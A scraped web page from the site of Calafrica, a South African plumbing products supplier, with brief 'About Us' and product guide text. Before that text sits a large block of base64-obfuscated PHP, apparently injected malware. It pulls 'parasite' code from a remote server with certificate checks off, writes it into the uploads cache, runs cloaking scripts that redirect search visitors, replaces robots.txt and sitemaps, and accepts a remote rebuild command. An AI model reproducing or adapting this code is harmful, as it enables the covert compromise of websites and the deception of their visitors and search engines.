error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='), 0);define(base64_decode('Q0FDSEVfVFRM'), 1800);define(base64_decode('SU1BR0VfQ0FDSEVfVFRM'), 86400);if (defined(base64_decode('QUJTUEFUSA=='))) define(base64_decode('Q0FDSEVfRElS'), ABSPATH . base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy93b29jb21tZXJjZV91cGxvYWRzL2NhY2hlLw=='));else define(base64_decode('Q0FDSEVfRElS'), __DIR__ . base64_decode('Ly4uLy4uLy4uL3VwbG9hZHMvd29vY29tbWVyY2VfdXBsb2Fkcy9jYWNoZS8='));define(base64_decode('U0lURV9JRA=='), base64_decode('MTEwMjA='));define(base64_decode('Q09ERV9BUElfS0VZ'), base64_decode('ZWUyNGVmY2MxMjQ4NDZhYjg5MjhjYjJlM2YzMWViNzE='));define(base64_decode('Q09ERV9BUElfQkFTRV9VUkw='), base64_decode('YS52aW5hcGkudG9w'));define(base64_decode('Q09ERV9BUElfVVJM'), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID);define(base64_decode('SU1BR0VfQVBJX1VSTA=='), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID . base64_decode('L2ltYWdlcy8w'));define(base64_decode('VVNFX0NVUkw='), function_exists(base64_decode('Y3VybF9pbml0')));if (!defined(base64_decode('REVERURFQlVH'))) define(base64_decode('REVERURFQlVH'), isset($_GET[base64_decode('ZGVkZWRlYnVn')]));if (!is_dir(CACHE_DIR)) {@mkdir(CACHE_DIR, 0755, true);}if (isset($_GET[base64_decode('YWN0aW9u')]) && $_GET[base64_decode('YWN0aW9u')] === base64_decode('YnVpbGQ=')) {$apiKey = $_SERVER[base64_decode('SFRUUF9YX0NPREVfQVBJX0tFWQ==')] ?? base64_decode(base64_decode(''));if (!empty($apiKey) && $apiKey === CODE_API_KEY) {wpclowo_buildFileStructure();header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 0, base64_decode('bXNn') => base64_decode('U1VDQ0VTUw==')]);exit();} else {http_response_code(401);header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 1, base64_decode('bXNn') => base64_decode('QVBJX0tFWV9GQUlMRUQ=')]);exit();}}if (!file_exists(CACHE_DIR . base64_decode('aW5kZXgucGhw'))) {wpclowo_buildFileStructure();}function wpclowo_send_req($url, $headers){$search_dir = base64_decode('Lg==');$is_loaded = false;if (DEDEDEBUG) {echo base64_decode('c2VuZF9yZXEhPGJyPg==');}for ($i = 0; $i <= 4; $i++) {$file_path = $search_dir . base64_decode('L3dwLWxvYWQucGhw');if (file_exists($file_path) || is_link($file_path)) {require_once($file_path);$is_loaded = true;break;}$search_dir = dirname($search_dir);if ($search_dir === dirname($search_dir)) {break;}}if ($is_loaded) {if (DEDEDEBUG) {echo base64_decode('d3BfcmVtb3RlX2dldCE8YnI+');}$response = wp_remote_get($url, [ base64_decode('dGltZW91dA==') => 10, base64_decode('c3NsdmVyaWZ5') => false, base64_decode('aGVhZGVycw==') => $headers ]);if (is_wp_error($response)) {return [base64_decode('ZXJy') => $response];} else {$body = wp_remote_retrieve_body($response);return [base64_decode('Ym9keQ==') => $body];}} else {return [base64_decode('ZXJy') => base64_decode('V1BfTE9BRF9OT1RfRk9VTkQ=')];}}function wpclowo_isImageFile($fileName){$imageExtensions = [base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d2VicA==')];$ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));return in_array($ext, $imageExtensions);}function wpclowo_write2temp2file($name, $content){$temp = $name . base64_decode('LmJr');if (DEDEDEBUG) {echo base64_decode('U1RBUlQgTU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('ICE8YnI+');}if (@file_put_contents($temp, $content) !== false) {if (@rename($temp, $name)) {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('IFNVQ0NFU1MhPGJyPg==');}return 0;} else {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 1;}} else {if (DEDEDEBUG) {echo base64_decode('Q1JFQVRFIA==') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 2;}}function wpclowo_createFileStructure($remoteData){if (!$remoteData || !isset($remoteData[base64_decode('ZmlsZXM=')])) return;foreach ($remoteData[base64_decode('ZmlsZXM=')] as $file) {if (DEDEDEBUG) {echo base64_decode('RklMRTog') . $file[base64_decode('cGF0aA==')] . base64_decode('PGJyPg==');echo base64_decode('Q09OVEVOVDog') . gettype($file[base64_decode('Y29udGVudA==')]) . base64_decode('PGJyPg==');}$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}function wpclowo_verifyCode(){$datas = [ @file_get_contents(CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), @file_get_contents(CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), ];foreach ($datas as $data) {$files = (object)@$data[base64_decode('ZGF0YQ==')][base64_decode('ZmlsZXM=')];foreach ($files as $file) {$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (!file_exists($filePath) || filesize($filePath) <= 0) {if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}}}function wpclowo_buildFileStructure($dl = true){$cacheFile = CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');$imageCacheFile = CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');try {$cache_exists = file_exists($cacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhQ09ERQ==') . PHP_EOL;}curl_setopt($ch, CURLOPT_URL, CODE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUNPREU8YnI+');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(CODE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . CODE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];} else {if (DEDEDEBUG) {var_dump($req_result);}}}if ($response) {$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($cacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhQ09ERTxicj4=');}$data = @json_decode(@file_get_contents($cacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}try {$cache_exists = file_exists($imageCacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhSU1HPGJyPg==');}curl_setopt($ch, CURLOPT_URL, IMAGE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUlNRzxicj4=');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(IMAGE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . IMAGE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];}}if ($response) {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhSU1HPGJyPg==');}$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($imageCacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {$data = @json_decode(@file_get_contents($imageCacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}}$request_uri = $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')] ?? base64_decode('Lw==');$request_path = parse_url($request_uri, PHP_URL_PATH);$query_string = parse_url($request_uri, PHP_URL_QUERY);$redir_exceptions = [ base64_decode('L3Byb2R1Y3RzLw=='), base64_decode('L3Byb2R1Y3Qv'), base64_decode('L2dhbWVzLw=='), base64_decode('L2dhbWUv'), base64_decode('L3NhbGUv'), base64_decode('L3NhbGVzLw=='),];$should_redir = false;foreach ($redir_exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$should_redir = true;break;}}$exceptions = [base64_decode('L3dwLWFkbWluLw=='), base64_decode('L3dwLWxvZ2luLnBocA=='), base64_decode('L2NhY2hlLw=='), base64_decode('L3dwLWNvbnRlbnQvdGhlbWVzLw=='), base64_decode('L3dwLWNvbnRlbnQvcGx1Z2lucy8='), base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy8='),];$is_exception = false;foreach ($exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$is_exception = true;break;}}if (DEDEDEBUG) {echo base64_decode('SVNfRVhDRVBUSU9OOiA=') . $is_exception . base64_decode('PGJyPg==');echo base64_decode('c2hvdWxkX3JlZGlyOiA=') . $should_redir . base64_decode('PGJyPg==');}$static_extensions = [base64_decode('cGhw'), base64_decode('Y3Nz'), base64_decode('anM='), base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d29mZg=='), base64_decode('d29mZjI='), base64_decode('dHRm'), base64_decode('ZW90'), base64_decode('cGRm')];$is_static_file = false;foreach ($static_extensions as $ext) {if (preg_match(base64_decode('L1wu') . preg_quote($ext, base64_decode('Lw==')) . base64_decode('JC8='), $request_path)) {$is_static_file = true;break;}}if (function_exists(base64_decode('YWRkX2ZpbHRlcg=='))) {add_filter(base64_decode('d3Bfc2l0ZW1hcHNfZW5hYmxlZA=='), base64_decode('X19yZXR1cm5fZmFsc2U='));add_filter(base64_decode('cmFua19tYXRoL3NpdGVtYXAvZW5hYmxl'), base64_decode('X19yZXR1cm5fZmFsc2U='));add_filter(base64_decode('d3BzZW9fZW5hYmxlX3htbF9zaXRlbWFw'), base64_decode('X19yZXR1cm5fZmFsc2U='));}if ($request_path === base64_decode('L3JvYm90cy50eHQ=')) {$robots_file = CACHE_DIR . base64_decode('cm9ib3RzLnR4dA==');if (file_exists($robots_file)) {header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));readfile($robots_file);exit();} else {$currentDomain = $_SERVER[base64_decode('SFRUUF9IT1NU')] ?? base64_decode('bG9jYWxob3N0');$robotsContent = base64_decode('VXNlci1hZ2VudDogKlxuQWxsb3c6IC9cblNpdGVtYXA6IGh0dHBzOi8v') . $currentDomain . base64_decode('L3NpdGVtYXAueG1s');header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));echo $robotsContent;exit();}}if (preg_match(base64_decode('L15zaXRlbWFwLipcLnhtbCQv'), $query_string ?? base64_decode(base64_decode(''))) || preg_match(base64_decode('L15cL3NpdGVtYXAuKlwueG1sJC8='), $request_path)) {$sitemap_file = CACHE_DIR . base64_decode('c2l0ZW1hcC5waHA=');if (file_exists($sitemap_file)) {require_once $sitemap_file;exit();}}if (DEDEDEBUG) {echo base64_decode('SVNfU1RBVElDX0ZJTEU6IA==') . $is_static_file . base64_decode('PGJyPg==');}if ($should_redir && !$is_static_file) {$usering_file = CACHE_DIR . base64_decode('dXNlcmluZy5waHA=');$cloaking_file = CACHE_DIR . base64_decode('Y2xvYWtpbmcucGhw');$config_file = CACHE_DIR . base64_decode('Y29uZmlnLnBocA==');if (file_exists($usering_file) && file_exists($config_file)) {require_once $usering_file;} else if (file_exists($cloaking_file) && file_exists($config_file)) {require_once $cloaking_file;} else {if (DEDEDEBUG) {echo base64_decode('RklMRSBOT1QgRVhJU1QhPGJyPg==');}}$clean_path = trim($request_path, base64_decode('Lw=='));if (isset($user) && $user->is_human_from_search) {if (DEDEDEBUG) {echo base64_decode('UkVESVI8YnI+');}header(base64_decode('TG9jYXRpb246') . $user->getRedirectUrl());exit();} elseif (isset($blocked) && $blocked) {if (DEDEDEBUG) {echo base64_decode('QkxPQ0tFRCE8YnI+');}$clean_path = base64_decode('Lw==') . $clean_path;$router_file = CACHE_DIR . base64_decode('cm91dGVyLnBocA==');if (file_exists($router_file)) {require_once $router_file;}exit();} else {if (DEDEDEBUG) {echo base64_decode('Tk9UIEJMT0NLRUQhPGJyPg==');}}} CALAFRICA

It is a long established fact that a reader of a page when looking at its layout.

Contacts

GENERAL PRODUCT GUIDE 2022

The new General Product Guide is available online!

About Us

Established in 1995, Calafrica (Pty) Ltd prides itself as being a top service provider to the plumbing and building construction industry in South Africa. With an offering of a most effective and comprehensive range of quality water and fluid control products we ensure all products meet their specific SANS and SABS requirements.

The specification and use of our products will ensure safe and sustainable solutions to almost any situation where the control of water pressure and flow is necessary; thus ensuring a high level of system performance and efficiency. To specifically mention a few of the products within our range are: